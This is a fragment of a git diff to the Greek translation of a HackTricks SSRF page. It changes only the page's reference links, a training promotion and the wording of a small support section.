![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
@ -211,6 +221,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
* [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
{% hint style="success" %}
Μάθε & εξάσκησε το AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -218,10 +229,10 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
<details>
<summary>Υποστήριξε το HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Έλεγξε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετοχή στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολούθησέ** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγράψου στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολούθησέ** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιράσου τεχνικές hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>